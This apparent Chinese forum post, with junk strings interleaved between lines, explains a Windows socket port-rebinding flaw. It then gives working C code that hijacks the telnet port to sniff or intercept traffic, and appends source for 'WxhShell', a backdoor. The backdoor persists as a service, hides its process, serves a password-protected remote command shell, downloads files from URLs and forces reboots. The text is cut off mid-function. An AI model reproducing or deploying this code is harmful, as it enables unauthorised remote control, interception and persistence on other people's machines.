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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,*q#qW!! s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +p8qsT#7 T-hU+(+hg saddr.sin_family = AF_INET; 9*7Hoi4Ji M"
xZz saddr.sin_addr.s_addr = htonl(INADDR_ANY); JTSq{NN 87&KQ_ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RI#lI~&) )PsN_ 42~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 _ .-o%6 u-8X$aJ 这意味着什么?意味着可以进行如下的攻击: )[e%wPu4e Z TN:|IKT 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 W\nHX I L7i}Ga!8 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 16a_GwfM 8=lHUn9l 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "
whO} Wg}B@:`T 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 RPz!UMQSD ;"d?_{>7 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Gr`MGQ, ?Ry%c6(} 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?ZSXoy-kr </K%i;l 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J-@o@!o ?/o2#iJx #include /%N31 #include K> c8r8! #include Z/XM`Cy #include Vy?R/
Uu DWORD WINAPI ClientThread(LPVOID lpParam); ccHLL6F{ int main() \O8Y3|< { m1~qaD<DZ$ WORD wVersionRequested; fW_}!`: DWORD ret; 2LhfXBWf WSADATA wsaData; pDLu +}@ BOOL val; &:!ZT= SOCKADDR_IN saddr; gaLEhf^ SOCKADDR_IN scaddr; V6DBKq int err; XgwMppacw SOCKET s; 6Tm
Rc SOCKET sc; o2[vM$] int caddsize; z5|e\Z HANDLE mt; Pg!;o=
{M DWORD tid; n"^/UQ|#j wVersionRequested = MAKEWORD( 2, 2 ); h,!G7V err = WSAStartup( wVersionRequested, &wsaData ); h|(ZXCH if ( err != 0 ) { e>])m3xvn printf("error!WSAStartup failed!\n"); rW=k%#
p return -1; PK:o}IWn~x } 1q}u?7nnSG saddr.sin_family = AF_INET; =j'J
!M r`&2-] //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vF*^xhh 0?J|C6XM#4 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ? 6yF{!F* saddr.sin_port = htons(23); 0)6i~Mg lY if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yV 9]_k { Z@>=& printf("error!socket failed!\n"); 7G<KrKal return -1; I]uOMWZs } (<d&BV- " val = TRUE; 5 WN`8? //SO_REUSEADDR选项就是可以实现端口重绑定的 . Ce&9l if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !I~C\$^U { 0Y38T)k printf("error!setsockopt failed!\n"); cuV8#:
i return -1; .-O@UQx.I } 8%vh6$s6/ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ]Omb : //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 okK/i //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 avHD'zU}N 2yEO=SN,( if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7\\~xSXh { ex@,F,u>o ret=GetLastError(); h a,=LV printf("error!bind failed!\n"); yL.PGF1( return -1; ] dm1Qm } 5vUz listen(s,2); |1<]o;: while(1) z^ a6%N { > hDsm;,/ caddsize = sizeof(scaddr);
(dLE<\E //接受连接请求 &*>CPO sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); azR;*j8Q' if(sc!=INVALID_SOCKET) QKUBh-QFK { 6h0U mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9rpg1 0/T if(mt==NULL) He0N { `\RX~ $^ printf("Thread Creat Failed!\n"); nyl8=F:V break; 3gPD(r1g } $p}~,Kp/ } $$bTd3N+ CloseHandle(mt); w$(0V$l_ } P- `~]] closesocket(s); d0H WSACleanup(); Z3abem<Q return 0; p^4;fD } @qO8Jg"Q DWORD WINAPI ClientThread(LPVOID lpParam) %0~wtZH_! { Q~b M SOCKET ss = (SOCKET)lpParam; #2lvfR| SOCKET sc; fbzKO^Ub unsigned char buf[4096]; dm/\uE'l SOCKADDR_IN saddr; Hl3XqR long num; V ~J2s DWORD val; C\a:eSgaC DWORD ret; +GYI2 //如果是隐藏端口应用的话,可以在此处加一些判断 k8x&aH
//如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 d=4f`q0k saddr.sin_family = AF_INET; ~f]r>jQM saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); syC"eH3{ saddr.sin_port = htons(23); N[
Lz 0c? if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y|0-m#1F# { /_VRO9R\V printf("error!socket failed!\n"); Y#SmZ*zok
return -1; 'wB Huq } K9I,Q$&xX val = 100; ot>EnHfV if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \yX !P1 { U$/Hp#~X ret = GetLastError(); +2au
;^N return -1; z:i X]df } AHMV@o`V if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fN"oa>X { -'H+lrmv ret = GetLastError(); Y)4Nydq return -1;
ELgae1 } NBg>i7KQ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -t~B@% { i9EMi_% printf("error!socket connect failed!\n"); xv#j 593 closesocket(sc); <zDw&s2 closesocket(ss); NW4
s'roP return -1; $R$c1C'oX } CI,`R&=xO while(1) Q~w G(0'8 { 1$!RKqT //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 #Z=)= //如果是嗅探内容的话,可以再此处进行内容分析和记录 .e
_D3Xp< //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4QKE{0NE num = recv(ss,buf,4096,0); ,m?UFRi if(num>0) U:P3Z3Y% send(sc,buf,num,0); d-N"m I- else if(num==0) = C'e1=] break; n0_Az2 num = recv(sc,buf,4096,0); z$BnEd.y=: if(num>0) 1=q?#PQ send(ss,buf,num,0); /o1)ZC$ else if(num==0) X+gz+V/ break; 4Jk}/_ } oCdOC5 closesocket(ss); _!^FW% closesocket(sc); zIQc#F6\5 return 0 ; im?XXsH' } Bc|x:#`C\{ :56lzsWUE< syNb0LR ========================================================== ;&^"q{m R.YGmT'2 下边附上一个代码,,WXhSHELL ^<
/vbF V\M!]Nnxr ========================================================== 'y M:WcN ^Lfn3.M #include "stdafx.h" ;~Gpw/]5E CU>K #include <stdio.h> ZesD( #include <string.h> >'|xQjLl #include <windows.h> /L|}Y242 #include <winsock2.h> BL5 #include <winsvc.h> K!:
,l #include <urlmon.h> zHs ][5p.owJse #pragma comment (lib, "Ws2_32.lib") 8rG&CxI #pragma comment (lib, "urlmon.lib") f93X5hFnF tEX~72v #define MAX_USER 100 // 最大客户端连接数 j_WF38o #define BUF_SOCK 200 // sock buffer ])wMUJWg2 #define KEY_BUFF 255 // 输入 buffer /qq&'}TZP j5Wx*~@( #define REBOOT 0 // 重启 *T2&$W|_a #define SHUTDOWN 1 // 关机 yg[; ^57fHlw #define DEF_PORT 5000 // 监听端口 F.
oP!r --%2=.X= #define REG_LEN 16 // 注册表键长度 OYtus7q< #define SVC_LEN 80 // NT服务名长度 WZ6{(`;#m &'yV:g3H // 从dll定义API o>A%}YU typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !g&B)0u]* typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KZ}4<{3 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >)A typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !6/IKh`J %^%-h}1 // wxhshell配置信息 P_lcX;O struct WSCFG { >T*g'954xF int ws_port; // 监听端口 n`KXJ?t char ws_passstr[REG_LEN]; // 口令 |AfQ_iT6c int ws_autoins; // 安装标记, 1=yes 0=no b oOw
K? char ws_regname[REG_LEN]; // 注册表键名 g~H?l3v char ws_svcname[REG_LEN]; // 服务名 O/^w!
:z' char ws_svcdisp[SVC_LEN]; // 服务显示名 dDn4nwH char ws_svcdesc[SVC_LEN]; // 服务描述信息 PRlo"kN char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8v=47G int ws_downexe; // 下载执行标记, 1=yes 0=no taEMr> / char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" f>+}U;)EF char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iY'hkr w JiLrwPex[ }; w@ylRq kJeOlO[ // default Wxhshell configuration h8-tbHgpb struct WSCFG wscfg={DEF_PORT, )* nbEZm@ "xuhuanlingzhe", Iy4MMU 1, WblV`"~e "Wxhshell", g)D}p@>m "Wxhshell", I64:-P[\ "WxhShell Service", #:zPpMAl "Wrsky Windows CmdShell Service", }qdJ8K "Please Input Your Password: ", LXF%~^^@d 1, 9la~3L_g " http://www.wrsky.com/wxhshell.exe", eC`f8=V "Wxhshell.exe" #Ii.tTk }; nW%=k!'' p33GKg0i+( // 消息定义模块 h> %JG'DV char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; # %y{mn char *msg_ws_prompt="\n\r? for help\n\r#>"; x,c68Q)g char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; @Be:+01z char *msg_ws_ext="\n\rExit."; aw"%B-N\ char *msg_ws_end="\n\rQuit."; RTY4%6]O char *msg_ws_boot="\n\rReboot..."; 7%!KAtc char *msg_ws_poff="\n\rShutdown..."; hPpXB:(-0 char *msg_ws_down="\n\rSave to "; L"IHyUW *-LU'yM6Yh char *msg_ws_err="\n\rErr!"; 'htA! KHF char *msg_ws_ok="\n\rOK!"; q<uLBaL_]r <~X6D? char ExeFile[MAX_PATH]; +<WT$ddK=5 int nUser = 0; GWZXRUc HANDLE handles[MAX_USER]; t8N9/DZ}Q int OsIsNt; RWQW/Gwx
Q<ExfJm SERVICE_STATUS serviceStatus; QGj5\{E_ SERVICE_STATUS_HANDLE hServiceStatusHandle; mT~>4xi0 5nq-b@?L // 函数声明 4H?Ma|, int Install(void); W}_}<rlF int Uninstall(void); HU+H0S~g int DownloadFile(char *sURL, SOCKET wsh); _rJSkZO int Boot(int flag); )tch>.EQ_ void HideProc(void); 0i`Zy! int GetOsVer(void); ^JDV4>S\ int Wxhshell(SOCKET wsl); SW'KYzn void TalkWithClient(void *cs); <d`UifqD int CmdShell(SOCKET sock); 6i9I 4*' int StartFromService(void); [:S F(*} int StartWxhshell(LPSTR lpCmdLine); oP75|p L [M8[~Hy VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {$:13AnK VOID WINAPI NTServiceHandler( DWORD fdwControl ); x2wWp-Z
'|?r&-5 h // 数据结构和表定义 =xet+;~ji SERVICE_TABLE_ENTRY DispatchTable[] = Zs|sPatV< { \)uad5`N {wscfg.ws_svcname, NTServiceMain}, w|o@r%Q#l {NULL, NULL} L/LNX{| }; EoCwS ,ToEKId // 自我安装 8HA=O?Cg int Install(void) j5^b~F% { G.e\#_RR? char svExeFile[MAX_PATH]; .Awq( HKEY key; OSIp strcpy(svExeFile,ExeFile); R0d|j#vP oXkhj,{y5 // 如果是win9x系统,修改注册表设为自启动 M=`Se&-M if(!OsIsNt) { O;?~#E<6w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2`m _"y
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @il}0 RegCloseKey(key); CW YJ<27v{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B[X6AQj}d RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I|;#VejX RegCloseKey(key); 94@!.11 return 0; yuX0Y{:I } BniVZCct } {~h\;> } io3'h:+9s else { K(<P" g( }rZ=j6Z
// 如果是NT以上系统,安装为系统服务 p<19 Jw< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JCfToFB if (schSCManager!=0) dS=,. } { |c/rHEZ SC_HANDLE schService = CreateService LXV6Ew5E ( =ApT#*D)o schSCManager, *60)Vo.= wscfg.ws_svcname, ".<p R}
qp wscfg.ws_svcdisp, e'&{KD,-T SERVICE_ALL_ACCESS, I
GtH<0Du SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n_meJm. SERVICE_AUTO_START, BZshTP[` SERVICE_ERROR_NORMAL, j=S"KVp9NF svExeFile, wJkkc9Rh'( NULL, .utL/1Ej NULL, )^sfEYoA NULL, \ y",Qq? NULL, )D*xOajo+l NULL h--bN*}H2 ); a<.@+sj{ if (schService!=0) iNSJOS { V'/%)oU\" CloseServiceHandle(schService); \0*LfVr;P CloseServiceHandle(schSCManager); a$:N9&P strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V= PoQ9d strcat(svExeFile,wscfg.ws_svcname); ^]gl#&"D if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @CDRbXoFk RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #JucOWxjY RegCloseKey(key); '~J6mojE return 0; gXMkI$ab } [?*^&[ } L 3@wdC~0 CloseServiceHandle(schSCManager); c= uORt> } mH .I! } jqedHnx a!]%@A6p return 1; C\D4C]/8 } 0fU>L^P_? =x>k:l~s // 自我卸载 a@J:*W int Uninstall(void) B.#0kjA} { u*`GIRfWT HKEY key; 9t1_"{'N1 -<=<T@, if(!OsIsNt) { wf1DvsJQl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5{TF6 RegDeleteValue(key,wscfg.ws_regname); Y;>'~V#R RegCloseKey(key); ?]N&H90^5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q-5wI$= RegDeleteValue(key,wscfg.ws_regname); bmpB$@ RegCloseKey(key); t+ ]+Gn return 0; ,#loVLy } qW^l2Jff } &ii
=$4"R } ^5}3FvW else {
=`H(`2 H(s^le:! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o+&sodt|` if (schSCManager!=0) Qafg/JU { b87o6"j SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +\chHOsw if (schService!=0) >0oc=9H8 { [^f`D%8o if(DeleteService(schService)!=0) { ps{(UYM=b CloseServiceHandle(schService); qc F{Kex" CloseServiceHandle(schSCManager); r_m&Jl@4 return 0; [:qX3"B } qFk(UazN CloseServiceHandle(schService); JnDR(s4(E } add-]2` CloseServiceHandle(schSCManager); L6.R?4B } /o2eKx } HZ3<}`P_W i1C' return 1; <0m;|Ai'W } R?Qou!*] J:a^'' // 从指定url下载文件 ZlzFmNe60 int DownloadFile(char *sURL, SOCKET wsh) dmO|PswW { 76/%Py| HRESULT hr; aXagiz\; char seps[]= "/"; x!+a,+G char *token; -j,o:ng0 char *file; =g:\R$lQ char myURL[MAX_PATH]; jg(A_V char myFILE[MAX_PATH]; X1"nq]chGy zqkmsFH{ strcpy(myURL,sURL); 9^tyjX2 token=strtok(myURL,seps); {PKER$C while(token!=NULL) u[DV{o { n9^zAcUbAW file=token; \+\h<D-5 token=strtok(NULL,seps); AdNsY/ Y( }
B|&< pif gt GetCurrentDirectory(MAX_PATH,myFILE); QZfnoKz strcat(myFILE, "\\"); h!
<8=V( strcat(myFILE, file); q'q{M-U< send(wsh,myFILE,strlen(myFILE),0); $&!U&uMt send(wsh,"...",3,0); Tp7?:YY| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ra1hdf0" if(hr==S_OK) W=*\4B] return 0; ^BZdR<; else n|.;g!QDA return 1; C0M{zGT>} jX%Q } z$NLFJvy_- tj3p71% // 系统电源模块 wHmEt ORo int Boot(int flag) e+mD$(h
{ 809-p_)B HANDLE hToken; kAoai|m@R TOKEN_PRIVILEGES tkp; !FO)||'[ P_gQ-pF. if(OsIsNt) { !ktr|9Bl OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~>n<b1}W LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3]i1M%'i tkp.PrivilegeCount = 1; C6`8dn
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >7|37a AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kL-+V)Kl if(flag==REBOOT) { -Da_#_F if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z!%}0 return 0; e#wn;wo? } Jj!T7f*-GX else { [o~w>,a if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZD/!C9:&.0 return 0; ;p/@tr9 } Ud](hp" } >nxtQ else { d={}a,3? if(flag==REBOOT) { V;!D:N8< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^6`U0|5mRX return 0; l},%g%}iMU } ,RZktWW_ else { R?W8l5CIk if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j{vzCRa>8 return 0; MI/1uw } ]mp.KvB } VioVtP0
KH;e)91 return 1; eR/7*G5 } a4wh-35/ 3eB2=_V` // win9x进程隐藏模块 (8I0%n}.Zo void HideProc(void) <1y%ch; { Q_dFZ P|\,kw>l HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y4_i=}\*vf if ( hKernel != NULL ) 5XhV+t
g. { r~sGot+sQA pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L{42?d ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6V)# Yf FreeLibrary(hKernel); gC 4w&yL } dL"v*3Fy ?$
3=m)s return; yS?1JWUC> } u*M*WpY sJ,zB[e8 // 获取操作系统版本 h41v}5!- int GetOsVer(void) hi37p1t { e1H.2n{y^ OSVERSIONINFO winfo; K= 69z winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~"-wSAm GetVersionEx(&winfo); sB6UlX;b: if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .(sT?M`\J return 1; {M=tw else {f!m m3'2v return 0; mBNa;6w?{* } =q._Qsj?fu o5)U3U1| // 客户端句柄模块 A`@we int Wxhshell(SOCKET wsl) f.,-KIiF { 4U((dx*m SOCKET wsh; ?.T=(- struct sockaddr_in client; ?D.]c;PR DWORD myID; 3}H94H)]a (Yx rZ_F'b while(nUser<MAX_USER) vs.q<i-u { OvFZ&S[ int nSize=sizeof(client); O6`@'N>6P wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *P_TG"^{W if(wsh==INVALID_SOCKET) return 1; <_NF `Z{7Ut^) handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MZ{)`7acR\ if(handles[nUser]==0) nI6`/ closesocket(wsh); ^,?]]=mE else [P[syi#]t nUser++; +%FGti$[ } pdE=9l' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kJ~^
}o )q#b^( v return 0; ~<|xS
} )]/!:I4e K$rH{dUM // 关闭 socket c=ZX7U void CloseIt(SOCKET wsh) E;h#3
B9 { Q.!8q3` closesocket(wsh); N &=,)d~M nUser--; 1{DHlyA6g ExitThread(0); )9Jt550( } aeSXHd?+( 4Jw0m#UN1 // 客户端请求句柄 ;X\!*Loe void TalkWithClient(void *cs) =6? 3c\ { H*l8,*M} ~_R=2t{u_ SOCKET wsh=(SOCKET)cs;
|,.glL char pwd[SVC_LEN]; {4#'`Eejj char cmd[KEY_BUFF]; T9u/|OP char chr[1];
`/#6k> int i,j; E9|i: h8n J$jg while (nUser < MAX_USER) { ?+51 B- L!5%;!>.P if(wscfg.ws_passstr) { vK|dP3 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >V NMQ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xGz$M@f //ZeroMemory(pwd,KEY_BUFF); #.) qQ8*( i=0; /\2 s%b* while(i<SVC_LEN) { 3C.bzw^ Jln dypE // 设置超时 f4uK_{ fd_set FdRead; K^9!Qp struct timeval TimeOut; p7|~x@q+ FD_ZERO(&FdRead); :U?Kwv8 s FD_SET(wsh,&FdRead); Q~uj:A]n< TimeOut.tv_sec=8; G:f]z;Xdp TimeOut.tv_usec=0; o-/Xa[yC int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9!PJLI=D if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l^fz 3 bGpK9M~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2c}>}A 4 pwd =chr[0]; MA"DP7e?v if(chr[0]==0xd || chr[0]==0xa) { M7En%sBp pwd=0; I,.>tC break; w${=]h*2 } y\ Zx{A[ i++; 8j8FQ!M } 3TO$J !x|Ok'izDL // 如果是非法用户,关闭 socket Z5\u9E"] if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Zs)HzOP)9 } kyz_r6 5^[V%4y> send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WG<D+P send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y~;Kf0~ 'R?;T[s% while(1) { KUZ'$oKg "5]GEzM3O ZeroMemory(cmd,KEY_BUFF); ^O4.$4t| 2,'m]`;GNr // 自动支持客户端 telnet标准 l3-;z)SgH j=0; k.?b2]@$ while(j<KEY_BUFF) { Q+gQ"l,95 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
>OmY cmd[j]=chr[0]; e<>(c7bF if(chr[0]==0xa || chr[0]==0xd) { u9QvcD^'z cmd[j]=0; umK~K!i break; <[kdF") } rs'~' Y j++; %6HDLG6@^} } 6 C;??Y>b
]Z2;sA // 下载文件 $!ka8)
~ if(strstr(cmd,"http://")) { *tO7A$LDT send(wsh,msg_ws_down,strlen(msg_ws_down),0); nO2-fW:9] if(DownloadFile(cmd,wsh)) V6Z2!Ht send(wsh,msg_ws_err,strlen(msg_ws_err),0); -@e9!/GP, else <e)3 j6F! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &p`RKD } 5
J61PuH
else { Sr/"'w; QVm3(;&' switch(cmd[0]) { {088j?[hzk m^% [ // 帮助 0k0y'1SL case '?': { G)M9to send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); MW6d- break; S2h?Q$e3 } aB+Ux<
- // 安装 PJsiT4< case 'i': { },ef( if(Install()) D~G24k6b3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?,O{,2} else 7xz|u\?_2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?(n|ykXwc break; la[xbv } [0w@0?[ // 卸载 0sLR5A case 'r': { c4k3|=f if(Uninstall()) b<~\IPY send(wsh,msg_ws_err,strlen(msg_ws_err),0); f^Lw3|rq4 else b7p&EK"Hm send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z;x$tO break; 1nye.i~ } ehPrxIyC // 显示 wxhshell 所在路径 eI/9uR% case 'p': { Jo1n>Mo-j char svExeFile[MAX_PATH]; YcBY[i0 strcpy(svExeFile,"\n\r"); %c*azo. strcat(svExeFile,ExeFile); M`-.0 send(wsh,svExeFile,strlen(svExeFile),0); cF7I break; Nl"< $/ } F\yxXOI // 重启 "}Of f case 'b': { CD;C z*c send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d;daYjOm if(Boot(REBOOT)) T& send(wsh,msg_ws_err,strlen(msg_ws_err),0); 51u8.%{4 else { !U/iY%NE closesocket(wsh); ]g2Y/\)a ExitThread(0); ]'3e#Cqeh } al.~[T-O+ break; y+hC !- } $WI=a-;_e // 关机 DBI[OG9 case 'd': { ^w/_hY!4/ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qM~ev E$% if(Boot(SHUTDOWN)) SxdH%agM send(wsh,msg_ws_err,strlen(msg_ws_err),0); /pt%*;H else { NjIe2)}' closesocket(wsh); 8%nb1CA ExitThread(0); .^6"nnfA# } 6hv4D`d;o break; W2e~!:w } SQ9s // 获取shell t9685s case 's': { tIR"y:U+ CmdShell(wsh); NpG5$? closesocket(wsh); ],YIEOx6
ExitThread(0); T0J"Wr>WY break; i Tg?JoE2 } VHGOVH, // 退出 Hr |De8#f case 'x': { k>I[U}h send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9=p^E# d CloseIt(wsh); })rJU/ break; B`3RyM"J @ } :Y`cgi0vkd // 离开 ![YLY&}s case 'q': { fOs"\Y4 send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?4GI19j closesocket(wsh); "E =\Vz WSACleanup(); lS&$86Jo( exit(1); &^KmfT5C break; n>T1KC% } 484lB}H } gswp:82e2 } ~( 54-9& J*?BwmD'8 // 提示信息 P#m/b< if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); # Y/.%ch. } FTZ][ } fm C)]O%q ~GZ!;An return; !$P+hX` } P#H|at (F@.o1No% // shell模块句柄 28>PmH]7 int CmdShell(SOCKET sock) ]y= ff6Q { Ch8w_Jf1yx STARTUPINFO si; zY6{ OP!# ZeroMemory(&si,sizeof(si)); o-"/1 zLg4 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O *^= si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WlVp|s{TYP PROCESS_INFORMATION ProcessInfo; P[6@1 char cmdline[]="cmd"; I%.KFPV CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (ds-p[`[m return 0; *)+1BYMo } lX$6U|! G66A]FIg // 自身启动模式 8@S7_x int StartFromService(void) F[uy'~;@ { q|,cMPS3 typedef struct HO%atE$> { bkk1_X DWORD ExitStatus; R
L&z\S DWORD PebBaseAddress; <+ 0cQq=2 DWORD AffinityMask; \W$bOp DWORD BasePriority; ENW>bS8e` ULONG UniqueProcessId; "X4L+]"$g ULONG InheritedFromUniqueProcessId; ~RGZY/4 } PROCESS_BASIC_INFORMATION; p""#Gbwj ~Vq<nkWS PROCNTQSIP NtQueryInformationProcess; e]R`B}vO \-3\lZ3qj static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D5x }V static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0T-y]&uo mGR}hsQpn HANDLE hProcess; <\uz",e} PROCESS_BASIC_INFORMATION pbi; /Qi;'h] 3NRxf8 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mNS7/I\ if(NULL == hInst ) return 0; o;bK 7D l1BbL5#1Q> g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JQ|qg\[ g_pGetModuleBaseName = 